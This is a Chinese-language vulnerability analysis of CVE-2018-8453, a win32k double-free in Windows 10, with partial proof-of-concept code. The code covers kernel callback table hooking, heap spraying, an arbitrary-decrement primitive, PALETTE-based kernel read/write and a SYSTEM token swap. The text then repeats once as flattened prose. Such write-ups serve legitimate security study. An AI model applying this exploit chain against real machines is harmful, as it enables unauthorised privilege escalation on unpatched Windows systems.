CVE-2018-8453 Win32k漏洞分析笔记
字数 1781 2025-08-19 12:42:02

CVE-2018-8453 Win32k漏洞分析与利用

漏洞概述

CVE-2018-8453是一个Windows内核模式驱动win32kfull.sys中的Use-After-Free (UAF)类型漏洞。该漏洞允许攻击者在内核模式下执行任意代码,从而提升权限。

漏洞成因

漏洞产生于win32kfull!NtUserSetWindowFNID函数在对窗口对象设置FNID时没有检查窗口对象是否已经被释放,导致可以对一个已经被释放的窗口设置新的FNID。通过利用这一缺陷,可以控制窗口对象销毁时在xxxFreeWindow函数中回调fnDWORD的hook函数,从而在win32kfull!xxxSBTrackInit中实现对pSBTrack的Double Free。

环境配置

  • 操作系统:Windows 10 x64 1709版本
  • 调试工具:WinDbg Preview 1.0.2001.02001

漏洞分析

BSOD分析

当POC运行时,系统会因Double Free而崩溃。关键观察点:

  1. 崩溃时系统试图释放一块已经释放的pool内存
  2. 这是一个0x80大小的session pool
  3. 调用栈显示win32kfull!xxxSBTrackInitwin32kfull!xxxEndScroll都尝试释放同一块内存

关键函数分析

win32kfull!xxxSBTrackInit

该函数实现滚动条的鼠标跟随功能,主要逻辑:

  1. 分配SBTrack结构体保存用户鼠标位置信息
  2. 初始化SBTrack结构
  3. 进入xxxSBTrackLoop循环处理用户消息
  4. 循环结束后释放SBTrack结构
pSBTrack = (PSBTRACK)UserAllocPoolWithQuota(sizeof(*pSBTrack), TAG_SCROLLTRACK);
if (pSBTrack == NULL) return;
// 初始化pSBTrack
xxxSBTrackLoop(pwnd, lParam, pSBCalc);
// 循环结束后释放
if (pSBTrack) {
    UserFreePool(pSBTrack);
    PWNDTOPSBTRACK(pwnd) = NULL;
}

win32kfull!xxxEndScroll

该函数用于终止滚动条跟踪模式,会释放SBTrack结构:

void xxxEndScroll(PWND pwnd, BOOL fCancel) {
    PSBTRACK pSBTrack = PWNDTOPSBTRACK(pwnd);
    if (pSBTrack && PtiCurrent()->pq->spwndCapture == pwnd && pSBTrack->xxxpfnSB != NULL) {
        pSBTrack->xxxpfnSB = NULL;
        UserFreePool(pSBTrack);
        PWNDTOPSBTRACK(pwnd) = NULL;
    }
}

调用路径

WM_CANCELMODE消息触发路径:

xxxDefWindowProc -> xxxDWP_DoCancelMode -> xxxEndScroll

POC分析

窗口创建

UINT CreateWindows(VOID) {
    WNDCLASS wndclass = {0};
    wndclass.cbWndExtra = 0x08;  // 关键设置
    wndclass.lpszClassName = "case";
    RegisterClassA(&wndclass);
    
    Window = CreateWindowExA(0, "case", NULL, WS_DISABLED, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
    SetWindowLongA(Window, 0, (ULONG)Window);  // 保存句柄在扩展内存
    
    // 创建子滚动条控件,必须设置为WS_CHILD
    SrollBar = CreateWindowExA(0, "SCROLLBAR", NULL, WS_CHILD | WS_VISIBLE | SBS_HORZ, NULL, NULL, 2, 2, Window, NULL, hInstance, NULL);
}

关键点:

  • cbWndExtra = 0x08:为窗口设置扩展内存
  • 滚动条必须设置为WS_CHILD:保持对父窗口的引用
  • 保存窗口句柄在扩展内存:后续用于识别

回调函数Hook

VOID Hook_Init(VOID) {
    ULONG64 KernelCallbackTable = *(ULONG64*)(PEB + 0x58);
    VirtualProtect((LPVOID)KernelCallbackTable, 0x1024, PAGE_EXECUTE_READWRITE, &OldType);
    
    // Hook fnDWORD
    *(ULONG64*)(KernelCallbackTable + 0x08 * 0x02) = (ULONG64)fnDWORDHook;
    
    // Hook xxxClientAllocWindowClassExtraBytes
    *(ULONG64*)(KernelCallbackTable + 0x08 * 0x7E) = (ULONG64)xxxClientAllocWindowClassExtraBytesHook;
}

触发流程

  1. 发送WM_LBUTTONDOWN消息给滚动条
  2. 系统进入xxxSBTrackInitxxxSBTrackLoop
  3. fnDWORDHook回调中:
    • 销毁父窗口
    • 触发xxxFreeWindow调用xxxClientAllocWindowClassExtraBytesHook
  4. xxxClientAllocWindowClassExtraBytesHook中:
    • 创建新滚动条
    • 设置窗口FNID为0x2A1
    • 设置新滚动条的捕获
  5. 再次进入fnDWORDHook时发送WM_CANCELMODE
  6. 触发xxxEndScroll释放pSBTrack
  7. xxxSBTrackInit结束时再次释放pSBTrack,导致Double Free

漏洞利用

利用思路

  1. 通过堆喷射控制释放后的pSBTrack内存
  2. 利用HMAssignmentUnlock实现任意地址减1操作
  3. 泄露PALETTE结构地址
  4. 修改PALETTE结构实现任意内存读写
  5. 修改进程token提权

关键步骤

1. 堆喷射控制内存

UCHAR MenuNames[0x100] = {0};
memset(MenuNames, 0x43, 0x80 - 0x20);
*(ULONG64*)((ULONG64)MenuNames + 0x10) = To_Where_A_Palette;
*(ULONG64*)((ULONG64)MenuNames + 0x08) = To_Where_A_Palette;

// 注册大量窗口类占用释放的内存
for (UINT I = 0; I < 0x1000; ++I) {
    sprintf((char*)ClassName, "WindowUaf%d", I);
    wndclass.lpszMenuName = (LPCWSTR)MenuNames;
    wndclass.lpszClassName = (LPCWSTR)ClassName;
    RegisterClassW(&wndclass);
}

2. 任意地址减1

HMAssignmentUnlock函数实现:

mov     rax, [rcx+8]
dec     qword ptr [rax]

通过控制rcx指向的内存内容,可以实现任意地址减1。

3. 泄露PALETTE地址

ULONG64 GetMenuAddress() {
    // 创建临时窗口获取tagCLS地址
    hwnd = CreateWindowExW(0, L"LEAKWS", NULL, 0, 0, 0, 0, 0, NULL, NULL, GetModuleHandleA(0), NULL);
    
    // 获取tagWND用户态地址
    PTagWnd = (ULONG64)HMValidateHandle(hwnd, 0x01);
    
    // 计算tagCLS地址
    UlClientDelta = (ULONG64)((*(ULONG64*)(PTagWnd + 0x20)) - (ULONG64)PTagWnd);
    TagCls = (*(ULONG64*)(PTagWnd + 0xa8)) - UlClientDelta;
    
    DestroyWindow(hwnd);
    return *(ULONG64*)(TagCls + 0x98);  // 获取MenuName地址
}

4. 修改PALETTE结构

// 创建特殊PALETTE结构
Palette = (LOGPALETTE*)malloc(sizeof(LOGPALETTE) + (sizeof(PALETTEENTRY) * (0x1D5 - 0x01)));
Palette->palVersion = 0x0300;
Palette->palNumEntries = 0x1D5;  // 分配0x800大小的pool

// 创建大量PALETTE对象占用内存
for (UINT I = 0; I < 0x1500; ++I) {
    CreatePalette(Palette);
}

// 获取目标PALETTE对象
Where_PALETTE = CreatePalette(Palette);
What_PALETTE = CreatePalette(Palette);

5. 实现任意读写

通过修改PALETTE结构的cEntriespFirstColor

// 扩大读写范围
SetPaletteEntries(Where_PALETTE, ...);

// 任意地址读写
SetPaletteEntries(What_PALETTE, ...);
GetPaletteEntries(What_PALETTE, ...);

6. 提权

修改当前进程的token权限:

// 获取当前进程token
ULONG64 CurrentProcess = GetCurrentProcessToken();
ULONG64 SystemProcess = GetSystemProcessToken();

// 复制SYSTEM token到当前进程
SetPaletteEntries(Where_PALETTE, ...);

清理工作

为避免Double Free导致系统不稳定,需要清理对pSBTrack的引用:

VOID FMenuName(VOID) {
    ULONG64 Zero = 0;
    for (UINT I = 0; I < 0x1000; ++I) {
        if (TagCls_Menu_Address[I] == 0) continue;
        
        // 将lpszMenuName指针置零
        SetPaletteEntries(Where_PALETTE, 0x1DE + 0x1E, 2, (LPPALETTEENTRY)&Menu);
        SetPaletteEntries(What_PALETTE, 0, 2, (LPPALETTEENTRY)&Zero);
    }
}

总结

CVE-2018-8453是一个典型的UAF漏洞,通过精心构造的窗口操作和回调函数hook,攻击者可以实现内核内存的任意读写,最终达到提权目的。该漏洞利用涉及多个关键技术点:

  1. 窗口对象和FNID的巧妙操作
  2. 回调函数hook技术
  3. 精确的堆布局控制
  4. PALETTE结构的利用
  5. 任意地址读写实现

微软在后续版本中修复了该漏洞,主要修复点包括对窗口对象状态的严格检查以及改进的内存管理机制。

CVE-2018-8453 Win32k漏洞分析与利用 漏洞概述 CVE-2018-8453是一个Windows内核模式驱动win32kfull.sys中的Use-After-Free (UAF)类型漏洞。该漏洞允许攻击者在内核模式下执行任意代码,从而提升权限。 漏洞成因 漏洞产生于 win32kfull!NtUserSetWindowFNID 函数在对窗口对象设置FNID时没有检查窗口对象是否已经被释放,导致可以对一个已经被释放的窗口设置新的FNID。通过利用这一缺陷,可以控制窗口对象销毁时在 xxxFreeWindow 函数中回调 fnDWORD 的hook函数,从而在 win32kfull!xxxSBTrackInit 中实现对 pSBTrack 的Double Free。 环境配置 操作系统:Windows 10 x64 1709版本 调试工具:WinDbg Preview 1.0.2001.02001 漏洞分析 BSOD分析 当POC运行时,系统会因Double Free而崩溃。关键观察点: 崩溃时系统试图释放一块已经释放的pool内存 这是一个0x80大小的session pool 调用栈显示 win32kfull!xxxSBTrackInit 和 win32kfull!xxxEndScroll 都尝试释放同一块内存 关键函数分析 win32kfull!xxxSBTrackInit 该函数实现滚动条的鼠标跟随功能,主要逻辑: 分配 SBTrack 结构体保存用户鼠标位置信息 初始化 SBTrack 结构 进入 xxxSBTrackLoop 循环处理用户消息 循环结束后释放 SBTrack 结构 win32kfull!xxxEndScroll 该函数用于终止滚动条跟踪模式,会释放 SBTrack 结构: 调用路径 WM_CANCELMODE 消息触发路径: POC分析 窗口创建 关键点: cbWndExtra = 0x08 :为窗口设置扩展内存 滚动条必须设置为 WS_CHILD :保持对父窗口的引用 保存窗口句柄在扩展内存:后续用于识别 回调函数Hook 触发流程 发送 WM_LBUTTONDOWN 消息给滚动条 系统进入 xxxSBTrackInit 和 xxxSBTrackLoop 在 fnDWORDHook 回调中: 销毁父窗口 触发 xxxFreeWindow 调用 xxxClientAllocWindowClassExtraBytesHook 在 xxxClientAllocWindowClassExtraBytesHook 中: 创建新滚动条 设置窗口FNID为0x2A1 设置新滚动条的捕获 再次进入 fnDWORDHook 时发送 WM_CANCELMODE 触发 xxxEndScroll 释放 pSBTrack xxxSBTrackInit 结束时再次释放 pSBTrack ,导致Double Free 漏洞利用 利用思路 通过堆喷射控制释放后的 pSBTrack 内存 利用 HMAssignmentUnlock 实现任意地址减1操作 泄露 PALETTE 结构地址 修改 PALETTE 结构实现任意内存读写 修改进程token提权 关键步骤 1. 堆喷射控制内存 2. 任意地址减1 HMAssignmentUnlock 函数实现: 通过控制 rcx 指向的内存内容,可以实现任意地址减1。 3. 泄露PALETTE地址 4. 修改PALETTE结构 5. 实现任意读写 通过修改 PALETTE 结构的 cEntries 和 pFirstColor : 6. 提权 修改当前进程的token权限: 清理工作 为避免Double Free导致系统不稳定,需要清理对 pSBTrack 的引用: 总结 CVE-2018-8453是一个典型的UAF漏洞,通过精心构造的窗口操作和回调函数hook,攻击者可以实现内核内存的任意读写,最终达到提权目的。该漏洞利用涉及多个关键技术点: 窗口对象和FNID的巧妙操作 回调函数hook技术 精确的堆布局控制 PALETTE结构的利用 任意地址读写实现 微软在后续版本中修复了该漏洞,主要修复点包括对窗口对象状态的严格检查以及改进的内存管理机制。